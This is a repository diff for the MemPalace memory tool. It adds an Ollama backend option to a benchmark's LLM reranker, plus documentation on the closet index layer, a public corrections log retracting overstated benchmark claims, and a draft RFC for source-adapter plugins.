corpus_ids: List of corpus IDs (parallel to corpus)
api_key: Anthropic API key string
top_k: How many top sessions to send to LLM (default: 10)
model: Claude model ID for reranking (default: haiku)
question: The benchmark question string
rankings: Current ranked list of corpus indices (from any mode)
corpus: List of document strings
corpus_ids: List of corpus IDs (parallel to corpus)
api_key: Anthropic API key (only required for backend="anthropic")
top_k: How many top sessions to send to LLM (default: 10)
model: Model id (Claude model for anthropic, e.g. "minimax-m2.7:cloud" for ollama)
backend: "anthropic" or "ollama"
base_url: Override base URL (ollama default: http://localhost:11434)
Returns:
Reordered rankings list with LLM's best pick promoted to rank 1.
@@ -2796,7 +2807,6 @@ def llm_rerank(
if not candidates:
return rankings
# Format sessions for the prompt — first 500 chars each, labelled 1..N
session_blocks = []
for rank, idx in enumerate(candidates):
text = corpus[idx][:500].replace("\n", " ").strip()
@@ -2813,49 +2823,68 @@ def llm_rerank(
f"Most relevant session number:"
)
payload = json.dumps(
{
"model": model,
"max_tokens": 8,
"messages": [{"role": "user", "content": prompt}],
}
).encode("utf-8")
req = urllib.request.Request(
"https://api.anthropic.com/v1/messages",
data=payload,
headers={
if backend == "ollama":
url = (base_url or "http://localhost:11434").rstrip("/") + "/v1/chat/completions"
payload = json.dumps(
{
"model": model,
"messages": [{"role": "user", "content": prompt}],
"max_tokens": 1024,
"temperature": 0.0,
}
).encode("utf-8")
headers = {"content-type": "application/json"}
if api_key:
headers["authorization"] = f"Bearer {api_key}"
else:
url = "https://api.anthropic.com/v1/messages"
payload = json.dumps(
{
"model": model,
"max_tokens": 8,
"messages": [{"role": "user", "content": prompt}],
}
).encode("utf-8")
headers = {
"x-api-key": api_key,
"anthropic-version": "2023-06-01",
"content-type": "application/json",
},
method="POST",
)
}
req = urllib.request.Request(url, data=payload, headers=headers, method="POST")
import socket as _socket
for _attempt in range(3):
try:
with urllib.request.urlopen(req, timeout=20) as resp:
with urllib.request.urlopen(req, timeout=120 if backend == "ollama" else 20) as resp:
result = json.loads(resp.read())
raw = result["content"][0]["text"].strip()
# Parse just the first integer from Haiku's response
m = re.search(r"\b(\d+)\b", raw)
if backend == "ollama":
msg = result["choices"][0]["message"]
# Reasoning models (e.g. minimax-m2.7) may emit final answer in "content"
# or embed it in "reasoning". Try content first, fall back to reasoning.
raw = (msg.get("content") or "").strip()
if not raw:
raw = (msg.get("reasoning") or "").strip()
else:
raw = result["content"][0]["text"].strip()
m = re.search(
r"\b(\d+)\b", raw[::-1]
) # take LAST integer (rerank models often reason first)
if m:
pick = int(m.group(1))
pick = int(m.group(1)[::-1])
if 1 <= pick <= len(candidates):
chosen_idx = candidates[pick - 1]
reordered = [chosen_idx] + [i for i in rankings if i != chosen_idx]
return reordered
break # Got a response, even if unparseable — don't retry
break
except (_socket.timeout, TimeoutError):
if _attempt < 2:
import time as _time
_time.sleep(3) # brief pause then retry
# else fall through to return rankings
_time.sleep(3)
except (urllib.error.URLError, KeyError, ValueError, IndexError, OSError):
break # Non-timeout error — fall back immediately
break
return rankings
@@ -2919,6 +2948,8 @@ def run_benchmark(
skip_precompute=False,
split_file=None,
split_subset=None,
llm_backend="anthropic",
llm_base_url="",
):
"""Run the full benchmark.
@@ -2947,10 +2978,14 @@ def run_benchmark(
api_key = ""
if llm_rerank_enabled or mode == "diary":
api_key = _load_api_key(llm_key)
if not api_key:
# Ollama backend doesn't require an Anthropic API key; a local/cloud Ollama
# daemon with the requested model pulled is enough. Diary mode is always anthropic.
needs_key = (llm_backend == "anthropic") or (mode == "diary")
if needs_key and not api_key:
print(
"ERROR: --llm-rerank / --mode diary requires an API key. "
"Set ANTHROPIC_API_KEY or use --llm-key."
"ERROR: --llm-rerank (anthropic backend) / --mode diary requires an API key. "
"Set ANTHROPIC_API_KEY or use --llm-key. For ollama backend, pass "
"--llm-backend ollama."
)
sys.exit(1)
@@ -3100,7 +3135,15 @@ def run_benchmark(
if llm_rerank_enabled:
rerank_pool = 20 if mode in ("hybrid_v3", "hybrid_v4", "palace") else 10
rankings = llm_rerank(
question, rankings, corpus, corpus_ids, api_key, top_k=rerank_pool, model=llm_model
question,
rankings,
corpus,
corpus_ids,
api_key,
top_k=rerank_pool,
model=llm_model,
backend=llm_backend,
base_url=llm_base_url,
)
# Evaluate at session level
@@ -3276,7 +3319,21 @@ if __name__ == "__main__":
default="claude-haiku-4-5-20251001",
help="Model for LLM re-ranking and diary ingest "
"(default: claude-haiku-4-5-20251001). "
"Use 'claude-sonnet-4-6' for Sonnet comparison.",
"Use 'claude-sonnet-4-6' for Sonnet comparison. "
"With --llm-backend ollama, use an Ollama model tag like 'minimax-m2.7:cloud'.",
)
parser.add_argument(
"--llm-backend",
choices=["anthropic", "ollama"],
default="anthropic",
help="Which API to hit for --llm-rerank. 'anthropic' (default) uses Anthropic's "
"/v1/messages endpoint. 'ollama' uses Ollama's OpenAI-compatible "
"/v1/chat/completions endpoint (works with local Ollama and Ollama Cloud).",
)
parser.add_argument(
"--llm-base-url",
default="",
help="Override base URL for --llm-backend ollama. Defaults to http://localhost:11434.",
)
parser.add_argument(
"--diary-cache",
@@ -3380,4 +3437,6 @@ if __name__ == "__main__":
args.skip_precompute,
split_file=args.split_file,
split_subset=split_subset,
llm_backend=args.llm_backend,
llm_base_url=args.llm_base_url,
)
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
+88
View File
@@ -0,0 +1,88 @@
# Closets — The Searchable Index Layer
## What closets are
Drawers hold your verbatim content. Closets are the index — compact pointers that tell the searcher which drawers to open.
```
CLOSET: "built auth system|Ben;Igor|→drawer_api_auth_a1b2c3"
↑ topic ↑ entities ↑ points to this drawer
```
An agent searching "who built the auth?" hits the closet first (fast scan of short text), then opens the referenced drawer to get the full verbatim content.
## Lifecycle
### When are closets created?
Closets are created during `mempalace mine`. For each file mined:
1. Content is chunked into drawers (verbatim, ~800 chars each)
2. Topics, entities, and quotes are extracted from the content
3. A closet is created with pointer lines to those drawers
### What's inside a closet?
Each line is one atomic topic pointer:
```
topic description|entity1;entity2|→drawer_id_1,drawer_id_2
"verbatim quote from the content"|entity1|→drawer_id_3
```
Topics are never split across closets. If adding a topic would exceed 1,500 characters, a new closet is created.
### When do closets update?
When a file is re-mined (content changed, or `NORMALIZE_VERSION` was bumped), the miner first deletes every closet for that source file (`purge_file_closets`) and then writes a fresh set. Stale topics from the prior mine are gone — closets are always a snapshot of the current content, never an accumulation across runs.
### What about stale topics?
There are no stale topics: each re-mine is a clean rebuild for that source file. If a file gets larger and produces fewer or more closets than last time, the leftover numbered closets from the larger run are still purged because the delete is done by `source_file`, not by ID.
### Do closets survive palace rebuilds?
Closets are stored in the `mempalace_closets` ChromaDB collection alongside `mempalace_drawers`. If you delete and rebuild the palace, closets are recreated during the next `mempalace mine`.
## How search uses closets
```
Query → search mempalace_closets (fast, small documents)
↓
top closet hits → parse `→drawer_id_a,drawer_id_b` pointers
↓
fetch exactly those drawers from mempalace_drawers (verbatim content)
↓
apply max_distance filter
↓
return chunk-level results (same shape as direct search)
```
Hits carry `matched_via: "closet"` (or `"drawer"` for the fallback path) plus a `closet_preview` field showing the line that surfaced them.
If no closets exist (palace created before this feature) — or all closet hits get filtered out by `max_distance` — search falls back to direct drawer search. Closets are created on next mine.
> **BM25 hybrid re-rank** is on the roadmap (deferred to a follow-up PR alongside generic `LLM_*` env-var support); the current closet search ranks purely by ChromaDB cosine distance against the closet text.
## Limits
| Setting | Value | Reason |
|---------|-------|--------|
| Max closet size | 1,500 chars (`CLOSET_CHAR_LIMIT`) | Leaves buffer under ChromaDB's working limit |
| Source content scanned | 5,000 chars (`CLOSET_EXTRACT_WINDOW`) | Caps regex extraction cost on long files; back-of-file content is currently invisible to closet extraction (tracked for follow-up) |
| Max topics per file | 12 | Keeps closets focused |
| Max quotes per file | 3 | Most relevant only |
| Max entities per pointer | 5 | Top names by frequency, after stoplist filtering |
## For developers
Closet functions live in `mempalace/palace.py`:
- `get_closets_collection()` — get the closets ChromaDB collection
- `build_closet_lines()` — extract topics/entities/quotes into pointer lines
- `upsert_closet_lines()` — write lines to closets respecting the char limit (overwrites existing IDs; does not append — call `purge_file_closets` first when re-mining)
- `purge_file_closets()` — delete every closet for a given source file before rebuild
- `CLOSET_CHAR_LIMIT` / `CLOSET_EXTRACT_WINDOW` — size constants
The closet-first search path lives in `mempalace/searcher.py`:
- `_extract_drawer_ids_from_closet()` — parse `→drawer_a,drawer_b` pointers out of a closet document
- `_closet_first_hits()` — query closets, parse pointers, hydrate matching drawers, return chunk-level hits or `None` to fall back
Note: only the project miner (`miner.py::process_file`) builds closets today. Conversation-mined wings (Claude Code JSONL, ChatGPT export, etc.) will keep using direct drawer search via the searcher fallback until the convo-closet PR lands.
+144
View File
@@ -0,0 +1,144 @@
# MemPalace — History, Corrections, and Public Notices
This file is the canonical record of post-launch corrections, public notices,
and retractions that affect MemPalace's public claims. Newest first.
---
## 2026-04-14 — Benchmark table rewrite (issue [#875](https://github.com/MemPalace/mempalace/issues/875))
A community audit identified a category error in the public benchmark tables
on `README.md` and `mempalaceofficial.com`: MemPalace's retrieval recall
numbers (R@5, R@10) were listed in the same columns as competitors'
end-to-end QA accuracy numbers. They are different metrics and are not
comparable — a system can have 100% retrieval recall and 40% QA accuracy.
The audit also found that the retracted "+34% palace boost" claim (see the
April 7 note below) was still present in multiple surfaces despite that
retraction, and that two competitor numbers (`Mem0 ~85%`, `Zep ~85%`) had no
published source and did not match the metrics those projects actually
publish.
What changed in this PR:
- The headline number on all surfaces is now **96.6% R@5 on LongMemEval in
raw mode**, independently reproduced on Linux x86_64 against the tagged
v3.3.0 release on 2026-04-14. Result JSONLs are committed under
`benchmarks/results_*.jsonl` (see PR description for the scorecard).
- The **"100% with Haiku rerank"** claim has been removed from all public
comparison tables. It reproduces on our machines and with a different LLM
family (minimax-m2.7 via Ollama Cloud: 99.2% R@5 / 100.0% R@10 on the full
500-question LongMemEval set) — but the 99.4% → 100% step was developed
by inspecting three specific wrong answers (`benchmarks/BENCHMARKS.md` has
called this "teaching to the test" since February). It belongs in the
methodology document, not in a headline.
- The **honest held-out number** for the hybrid pipeline — 98.4% R@5 on 450
questions that `hybrid_v4` was never tuned on, deterministic seed — is now
the comparable figure when an LLM rerank is involved.
- The **retracted "+34% palace boost"** has been removed from
`README.md`, `website/concepts/the-palace.md`,
`website/guide/searching.md`, and `website/reference/contributing.md`.
Wing and room filters remain useful — they're standard metadata filters —
but they are not presented as a novel retrieval improvement.
- **Competitor comparison tables** mixing retrieval recall with QA accuracy
have been removed from `README.md` and `website/reference/benchmarks.md`.
Where MemPalace can be fairly compared on the same metric, we link to the
cited source. Otherwise we report our own numbers and let readers draw
their own conclusions.
- **Reproduction instructions** in `benchmarks/BENCHMARKS.md` and
`benchmarks/README.md` were pointing at a defunct branch
(`aya-thekeeper/mempal`); they now point at `MemPalace/mempalace`.
- The **LoCoMo 100% R@10 with top-50 rerank** row has been removed from
public comparison surfaces. With per-conversation session counts of 19–32
and `top_k=50`, the retrieval stage returns every session in the
conversation by construction, so the number measures an LLM's
reading comprehension over the whole conversation, not retrieval.
Thanks to [@dial481](https://github.com/MemPalace/mempalace/issues/875) for
the detailed audit and to [@rohitg00](https://github.com/rohitg00) for the
parallel write-up in Discussion #747.
---
## 2026-04-11 — Impostor domains and malware
Several community members (issues #267, #326, #506) reported fake MemPalace
websites distributing malware. The only official surfaces for this project
are:
- This GitHub repository: [github.com/MemPalace/mempalace](https://github.com/MemPalace/mempalace)
- The PyPI package: [pypi.org/project/mempalace](https://pypi.org/project/mempalace/)
- The docs site: [mempalaceofficial.com](https://mempalaceofficial.com)
Any other domain — `mempalace.tech` being the one most commonly reported —
is not ours. Never run install scripts from unofficial sites.
Thanks to our community members for flagging the problem.
---
## 2026-04-07 — A Note from Milla & Ben
> The community caught real problems in this README within hours of launch
> and we want to address them directly.
>
> **What we got wrong:**
>
> - **The AAAK token example was incorrect.** We used a rough heuristic
> (`len(text)//3`) for token counts instead of an actual tokenizer. Real
> counts via OpenAI's tokenizer: the English example is 66 tokens, the
> AAAK example is 73. AAAK does not save tokens at small scales — it's
> designed for *repeated entities at scale*, and the README example was a
> bad demonstration of that. We're rewriting it.
>
> - **"30x lossless compression" was overstated.** AAAK is a lossy
> abbreviation system (entity codes, sentence truncation). Independent
> benchmarks show AAAK mode scores **84.2% R@5 vs raw mode's 96.6%** on
> LongMemEval — a 12.4 point regression. The honest framing is: AAAK is
> an experimental compression layer that trades fidelity for token
> density, and **the 96.6% headline number is from RAW mode, not AAAK**.
>
> - **"+34% palace boost" was misleading.** That number compares unfiltered
> search to wing+room metadata filtering. Metadata filtering is a
> standard feature of the underlying vector store, not a novel retrieval
> mechanism. Real and useful, but not a moat.
>
> - **"Contradiction detection"** exists as a separate utility
> (`fact_checker.py`) but is not currently wired into the knowledge graph
> operations as the README implied.
>
> - **"100% with Haiku rerank"** is real (we have the result files) but
> the rerank pipeline is not in the public benchmark scripts. We're
> adding it.
>
> **What's still true and reproducible:**
>
> - **96.6% R@5 on LongMemEval in raw mode**, on 500 questions, zero API
> calls — independently reproduced on M2 Ultra in under 5 minutes by
> [@gizmax](https://github.com/MemPalace/mempalace/issues/39).
> - Local, free, no subscription, no cloud, no data leaving your machine.
> - The architecture (wings, rooms, closets, drawers) is real and useful,
> even if it's not a magical retrieval boost.
>
> **What we're doing:**
>
> 1. Rewriting the AAAK example with real tokenizer counts and a scenario
> where AAAK actually demonstrates compression
> 2. Adding `mode raw / aaak / rooms` clearly to the benchmark
> documentation so the trade-offs are visible
> 3. Wiring `fact_checker.py` into the KG ops so the contradiction
> detection claim becomes true
> 4. Pinning the vector store dependency to a tested range (issue #100),
> fixing the shell injection in hooks (#110), and addressing the macOS
> ARM64 segfault (#74)
>
> **Thank you to everyone who poked holes in this.** Brutal honest
> criticism is exactly what makes open source work, and it's what we asked
> for. Special thanks to
> [@panuhorsmalahti](https://github.com/MemPalace/mempalace/issues/43),
> [@lhl](https://github.com/MemPalace/mempalace/issues/27),
> [@gizmax](https://github.com/MemPalace/mempalace/issues/39), and everyone
> who filed an issue or a PR in the first 48 hours. We're listening, we're
> fixing, and we'd rather be right than impressive.
>
> — *Milla Jovovich & Ben Sigman*
+768
View File
@@ -0,0 +1,768 @@
# RFC 002 — Source Adapter Plugin Specification
- **Status:** Draft
- **Tracking issue:** [#989](https://github.com/MemPalace/mempalace/issues/989)
- **Related:** [#274](https://github.com/MemPalace/mempalace/issues/274), [#23](https://github.com/MemPalace/mempalace/pull/23), [#169](https://github.com/MemPalace/mempalace/pull/169), [#232](https://github.com/MemPalace/mempalace/pull/232), [#567](https://github.com/MemPalace/mempalace/pull/567), [#98](https://github.com/MemPalace/mempalace/pull/98), [#591](https://github.com/MemPalace/mempalace/pull/591), [#592](https://github.com/MemPalace/mempalace/pull/592), [#702](https://github.com/MemPalace/mempalace/pull/702), [#981](https://github.com/MemPalace/mempalace/issues/981), [#244](https://github.com/MemPalace/mempalace/pull/244), [#419](https://github.com/MemPalace/mempalace/pull/419), [#300](https://github.com/MemPalace/mempalace/pull/300), [#952](https://github.com/MemPalace/mempalace/pull/952), [#389](https://github.com/MemPalace/mempalace/pull/389), [#434](https://github.com/MemPalace/mempalace/pull/434)
- **Sibling spec:** [RFC 001 — Storage Backend Plugin Specification](001-storage-backend-plugin-spec.md)
- **Spec version:** `1.0`
## Summary
A formal contract for MemPalace source adapters so third parties can ship `pip install mempalace-source-<name>` packages (Cursor, OpenCode, git, Slack, Notion, email, calendar, Whisper transcripts, …) that drop into `mempalace mine` without patching core. The spec defines the adapter interface, record shape, metadata schema contract, privacy class, entry-point registration, incremental-ingest semantics, closet integration, a declared-transformation model that replaces the informal "verbatim" promise with a verifiable one, conformance tests, and the refactor of the existing file and conversation miners into first-party adapters on the same contract.
RFC 001 formalized the write side (where drawers are stored). This RFC formalizes the read side (where content comes from). Both are required for MemPalace to function as a durable daemon managing heterogeneous palaces across many source types.
## Motivation
Six source ingesters are currently in flight, each solving the same problem a different way:
| PR / Issue | Source | Mechanism |
|---|---|---|
| [#274](https://github.com/MemPalace/mempalace/issues/274) | Cursor | `workspaceStorage/*.vscdb` SQLite extraction |
| [#23](https://github.com/MemPalace/mempalace/pull/23) | OpenCode | SQLite session database |
| [#169](https://github.com/MemPalace/mempalace/pull/169) | Pi agent | JSONL session normalizer |
| [#232](https://github.com/MemPalace/mempalace/pull/232) | Cursor (JSONL variant) | JSONL normalizer |
| [#567](https://github.com/MemPalace/mempalace/pull/567), [#98](https://github.com/MemPalace/mempalace/pull/98) | Git | `git log` + `gh pr view` with structured diff summary |
| [#591](https://github.com/MemPalace/mempalace/pull/591), [#592](https://github.com/MemPalace/mempalace/pull/592) | Delphi Oracle | Real-time intelligence signals |
| [#702](https://github.com/MemPalace/mempalace/pull/702) | Cursor + factory.ai | Combined session miners |
Plus three ingesters already grafted into core:
- `mempalace/miner.py` — filesystem project miner, fixed char-window chunking, keyword hall routing
- `mempalace/convo_miner.py` — chat transcript miner with exchange-pair chunking
- `mempalace/normalize.py` — format detection for four chat-export shapes (Claude Code JSONL, Codex JSONL, Claude.ai / ChatGPT / Slack JSON)
Plus one open proposal for a different ingest semantic:
- [#981](https://github.com/MemPalace/mempalace/issues/981) — path-level descriptions: mine metadata-as-content instead of raw bytes for matched paths. This is a legitimate third ingest mode (alongside chunked-content and whole-record) that the current architecture has no home for.
Each contributor has reinvented source discovery, source-item identity, incremental-ingest bookkeeping, metadata shape, and chunking strategy. Format detection for new chat exports lands in `normalize.py` as one more branch in an `if` chain. There is no shared abstraction, no conformance suite, and no contract new adapter authors can build against.
This is the same situation RFC 001 addresses for storage backends: a pattern that emerged organically, now needs a specification so the community can contribute cleanly and enterprises can build against a stable surface.
### Why this matters beyond developer tooling
The adapter pattern is source-agnostic. What has so far shown up as "Cursor transcripts" and "git commits" generalizes to:
- **Knowledge work** — Notion, Obsidian, Logseq, Google Docs, iA Writer, Zettlr
- **Communications** — Slack, Discord, Teams, Signal backups, mbox/eml email, iMessage
- **Research** — arXiv PDFs, Zotero libraries, bookmarked articles, Kindle highlights, web archives
- **Creator workflows** — YouTube captions, podcast transcripts (Whisper/Deepgram), Descript projects
- **Regulated domains** — medical records, legal filings, financial statements (all gated on §6 privacy class)
Enterprises key on their own domain metadata — `repo/PR/SHA` for engineering, `patient/encounter/CPT` for healthcare, `case/docket/jurisdiction` for legal. The schema lives in the adapter; the content lives in the drawer. This is how structured-data use cases are served without violating the byte-preservation commitments adapters make.
## Goals
1. A source adapter ships as a standalone Python package; `pip install mempalace-source-<name>` is sufficient to use it.
2. `mempalace mine` and the MCP mine tool are source-agnostic — all extraction goes through registered adapters. No `if source_type == 'foo'` branches in core.
3. Content transformations are **declared** (§1.4): each adapter advertises the set of transformations it applies to source bytes. Byte-preserving adapters declare the empty set. Consumers can programmatically determine what happened to their data.
4. Incremental ingest is cheap and correct: re-running mine only touches items whose source-side version changed, using the palace itself as the cursor (no sidecar).
5. Each adapter declares a structured metadata schema. Enterprises index and filter on that schema. Core is schema-agnostic beyond the universal fields in §5.1.
6. The existing `miner.py` and `convo_miner.py` become the first two first-party adapters on the new contract. Drawer metadata fields and field names are preserved — the spec adds fields, does not rename them.
7. A privacy class is declarable at the adapter boundary so sensitive sources (medical, financial, personal comms) are handled with explicit policy rather than implicit trust.
## Non-goals
- Defining chunking. Each adapter owns its chunking strategy — tree-sitter for code, exchange-pair for chat, whole-record for a PR. Core does not impose a chunk size.
- Defining live-stream / webhook shapes (the Delphi Oracle pattern of continuous signal ingestion). That is a separate future RFC; v1 is pull-mode.
- Defining LLM-based structured extraction. Adapters MAY use an LLM; the spec does not mandate or standardize this.
- Defining cross-adapter dedup. When the same content appears via two adapters (e.g., a PR body mined via `git` and as a conversation quote mined via `claude-code`), both drawers land. Deduplication policy is a separate concern handled at query time by `searcher.py`.
- Defining closet construction. Core continues to build closets from adapter-yielded drawers (§1.7); the closet-building algorithm itself is not part of this spec.
---
## 1. Source adapter contract
### 1.1 Required method
All adapters implement `BaseSourceAdapter` with a single kwargs-only ingest method:
```python
class BaseSourceAdapter(ABC):
@abstractmethod
def ingest(
self,
*,
source: SourceRef,
palace: PalaceContext,
) -> Iterator[IngestResult]:
"""Enumerate and extract content from a source.
Yields a stream of IngestResult values. Lazy adapters yield
`SourceItemMetadata` ahead of the drawers for that item, so core
can report progress and check `is_current` before the adapter
commits to the fetch. Adapters with no lazy-fetch benefit may
interleave `SourceItemMetadata` and `DrawerRecord` items freely.
"""
@abstractmethod
def describe_schema(self) -> AdapterSchema:
"""Declare the structured metadata this adapter attaches.
Returned value is stable for a given adapter version. Enterprises
index on this schema; core uses it to validate adapter output.
"""
```
The single-method `ingest()` contract was chosen over a `discover` / `extract` split. Most current ingesters have no meaningful laziness benefit (filesystem walking is cheap, transcript normalizing is cheap). Adapters that do (git-mine's `gh pr list` vs `gh pr view`; hypothetical Slack/Notion API) express laziness by yielding `SourceItemMetadata` first and deferring fetch until core confirms staleness via `is_current()`.
### 1.2 Optional methods (default implementations on the ABC)
```python
def is_current(
self,
*,
item: SourceItemMetadata,
existing_metadata: dict | None,
) -> bool:
"""Return True if the palace already has an up-to-date copy.
Called by core after querying the palace for existing drawers with
matching source_file. The adapter compares its version token against
the stored metadata and returns True to skip extraction.
Default implementation: returns False (always re-extract). Adapters
advertising `supports_incremental` override this.
"""
return False
def source_summary(self, *, source: SourceRef) -> SourceSummary:
"""Describe a source without extracting (e.g., 'git repo mempalace,
847 commits, 132 PRs'). Default: returns empty summary."""
return SourceSummary(description=self.name)
def close(self) -> None:
return None
```
Core's incremental loop (pseudocode):
```python
for result in adapter.ingest(source=source, palace=ctx):
if isinstance(result, SourceItemMetadata):
existing = ctx.collection.get(where={"source_file": result.source_file}, limit=1)
if adapter.is_current(item=result, existing_metadata=existing):
ctx.skip_current_item() # adapter stops yielding drawers for this item
elif isinstance(result, DrawerRecord):
ctx.upsert_drawer(result)
```
### 1.3 Typed records
```python
@dataclass(frozen=True)
class SourceRef:
"""A handle to the source a user wants to ingest.
local_path is for filesystem-rooted sources (project dir, mbox file).
uri is for URL-like references (github.com/org/repo, slack://workspace/channel).
options carries adapter-specific config (non-secret values only; §M2).
"""
local_path: str | None = None
uri: str | None = None
options: dict = field(default_factory=dict)
@dataclass(frozen=True)
class SourceItemMetadata:
"""Lightweight pointer yielded before drawers for lazy-fetch adapters."""
source_file: str # Logical identity — filesystem path, PR URI, etc.
version: str # Source-side version token (mtime, commit SHA, ETag, rev id).
size_hint: int | None = None # Bytes, if known. Used for progress reporting.
route_hint: RouteHint | None = None
@dataclass(frozen=True)
class DrawerRecord:
"""One drawer's worth of content plus metadata."""
content: str # Subject to §1.4 declared transformations.
source_file: str # Foreign key to SourceItemMetadata.source_file.
chunk_index: int = 0 # 0 for single-drawer items; 0..N-1 for chunked items.
metadata: dict = field(default_factory=dict) # Flat: str/int/float/bool only. Must conform to adapter schema.
route_hint: RouteHint | None = None
@dataclass(frozen=True)
class RouteHint:
wing: str | None = None
room: str | None = None
hall: str | None = None
@dataclass(frozen=True)
class SourceSummary:
description: str
item_count: int | None = None
# IngestResult is the union type adapters yield.
IngestResult = SourceItemMetadata | DrawerRecord
# PalaceContext carries collection handles, palace config, and progress hooks
# into the adapter. Full definition in §9 (cleanup prerequisite).
```
### 1.4 Declared transformations
Adapters cannot silently alter content. Every adapter declares the set of transformations it applies:
```python
class BaseSourceAdapter(ABC):
declared_transformations: ClassVar[frozenset[str]] = frozenset()
```
The invariant: **no transformation is applied that is not declared in this set**. Adapters declaring `frozenset()` are byte-preserving end-to-end (modulo the read, which may itself involve `utf8_replace_invalid` — see below).
Reserved transformation names (v1):
| Name | Meaning |
|---|---|
| `utf8_replace_invalid` | Undecodable bytes replaced with U+FFFD on read (equivalent to `open(..., errors="replace")`). |
| `newline_normalize` | CRLF / CR converted to LF. |
| `whitespace_trim` | Leading / trailing whitespace stripped at a record boundary. |
| `whitespace_collapse_internal` | Runs of three or more blank lines collapsed to two. |
| `line_trim` | Each line individually stripped of leading / trailing whitespace. |
| `line_join_spaces` | Adjacent lines joined with single spaces, newlines discarded. |
| `blank_line_drop` | Empty lines between non-empty lines dropped. |
| `strip_tool_chrome` | System tags, hook output, tool UI chrome removed (see `normalize.strip_noise`). |
| `tool_result_truncate` | Tool output heads/tails kept; middle replaced with a marker string. |
| `spellcheck_user` | User turns rewritten by spellcheck. |
| `synthesized_marker` | Adapter inserts its own strings (e.g., `[N lines omitted]`, `[registry] …`, Slack provenance footer). |
| `speaker_role_assignment` | Multi-party speakers alternately assigned `user` / `assistant` roles (Slack). |
| `tool_result_omitted` | Some tool outputs fully omitted from transcript (e.g., Read/Edit/Write results in `normalize._format_tool_result`). |
Adapters MAY define their own transformation names for behaviors the reserved list does not cover. Third-party names SHOULD be prefixed with the adapter name to avoid collisions (e.g., `cursor.composer_ordering`).
**Capability derivation:**
- `byte_preserving` — declared_transformations is empty AND output bytes equal input bytes for any source the adapter can read. Advertised via the `byte_preserving` capability (§2.1). MUST be verified by §7.2 round-trip test.
- `declared_lossy` — declared_transformations is non-empty. The adapter's output is reproducible from source by applying *only* the declared transformations. MUST be verified by §7.3 declared-transformation test.
**Existing code mapping (for the cleanup PR):**
| Module | Declared transformations |
|---|---|
| `filesystem` (current `miner.py`) | `utf8_replace_invalid`, `whitespace_trim` |
| `conversations` (current `convo_miner.py` + `normalize.py`) | `utf8_replace_invalid`, `newline_normalize`, `line_trim`, `line_join_spaces`, `blank_line_drop`, `whitespace_collapse_internal`, `strip_tool_chrome`, `tool_result_truncate`, `tool_result_omitted`, `spellcheck_user`, `synthesized_marker`, `speaker_role_assignment` |
The filesystem adapter is nearly byte-preserving today; the conversations adapter is extensively transformed. Both are honest after this spec lands because both are fully declared.
This replaces the MISSION.md promise of "verbatim always" with a stronger one: every adapter publishes what it does to your data, and the conformance suite verifies it hasn't lied. "Verbatim" becomes a capability some adapters hold (byte_preserving), not a global claim about a lossy pipeline.
### 1.5 Three ingest modes
A single adapter declares one or more of three modes via a class attribute:
```python
class BaseSourceAdapter(ABC):
supported_modes: ClassVar[frozenset[Literal["chunked_content", "whole_record", "metadata_only"]]]
```
| Mode | Content origin |
|---|---|
| `chunked_content` | Source bytes, split into chunks the adapter chooses (current filesystem behavior). |
| `whole_record` | Source bytes, one drawer per source item (e.g., PR → 1 drawer). |
| `metadata_only` | Synthesized description of a source item (absorbs #981). The description bytes are authored by the user or adapter, not the source. Declared transformations (§1.4) do not apply — content is not derived from source bytes. |
`metadata_only` resolves #981: description-mode matches a path pattern and produces one drawer whose content is the user-authored description rather than the file contents. Conformance tests (§7.2, §7.3) skip `metadata_only` records.
An adapter MAY support multiple modes and select per-item; the per-item mode is recorded in `metadata["ingest_mode"]` (§5.1). This field already exists on conversation drawers (`convo_miner.py:346`) and is the only existing field whose semantics this spec extends rather than preserves.
### 1.6 Chunking delegation
Core does not impose chunking. `miner.py`'s 800-character sliding window is the filesystem adapter's default for unknown file types — not a contract. Adapter authors choose what makes sense:
- Code files → tree-sitter function/class boundaries (future enhancement to the filesystem adapter).
- Chat transcripts → exchange pairs (current `convo_miner.py` behavior).
- PRs → whole-record (current `git-mine` behavior in #567).
- PDFs → page or section.
- Voice transcripts → speaker turn.
The sole cross-adapter requirement for `chunked_content` mode: chunks for a given `source_file`, re-assembled in `chunk_index` order and accounting for declared transformations in §1.4, reproduce the adapter's internal representation of the source. The conformance suite verifies this.
### 1.7 Closet integration
Closets are the AAAK-compressed index layer (`palace.build_closet_lines`, `upsert_closet_lines`) that points to drawer content and enables LLM-scale scanning without reading every drawer. Closet-building is not an adapter concern:
- **Core builds closets** from adapter-yielded drawers as a post-step, via the existing `palace.py` helpers. Adapters do not call these APIs.
- **Adapters MAY emit closet hints** in drawer metadata via a flat `;`-joined string:
```python
metadata["closet_hints"] = "decided GraphQL; migrated to Postgres; fixed PR-567"
```
Core splits on `;` and feeds these as candidate topics alongside the content-scanned ones in `build_closet_lines`. The git adapter can hint decision-signal quotes that raw content-scanning would miss; the conversations adapter can hint section headers; the filesystem adapter has no need and omits the field.
- **metadata_only drawers get closets too.** Core builds them from the synthesized description content the same way it builds closets for any other drawer. This is how #981's path-level descriptions become searchable.
- **Closet purging** remains keyed on `source_file` (`purge_file_closets` in `palace.py:221`). Adapters' source_file values must be stable so purge is correct on re-ingest.
Current `convo_miner.py` does not build closets for conversation drawers — an existing gap. The cleanup PR (§9) routes the conversations adapter through the same post-step closet builder as filesystem, closing the gap as a side effect.
---
## 2. Adapter contract
### 2.1 Identity and capabilities
```python
class BaseSourceAdapter(ABC):
name: ClassVar[str] # "filesystem", "cursor", "git", "slack", ...
spec_version: ClassVar[str] = "1.0"
adapter_version: ClassVar[str] # Independent of spec_version; recorded on every drawer.
capabilities: ClassVar[frozenset[str]]
supported_modes: ClassVar[frozenset[str]] # Per §1.5.
declared_transformations: ClassVar[frozenset[str]] # Per §1.4.
default_privacy_class: ClassVar[str] # Per §6.
```
Defined capability tokens (v1):
| Token | Meaning |
|---|---|
| `byte_preserving` | `declared_transformations` is empty AND extracted content equals source bytes. |
| `supports_incremental` | Implements `is_current()` meaningfully; `ingest()` respects `ctx.skip_current_item()`. |
| `supports_structured_metadata` | Attaches fields beyond §5.1 universals. |
| `supports_entity_hints` | Emits entity hints via `metadata["entity_hints_json"]` (§5.4). |
| `supports_kg_triples` | Writes knowledge-graph triples directly to the SQLite KG (§5.5). |
| `supports_closet_hints` | Emits `metadata["closet_hints"]` (§1.7). |
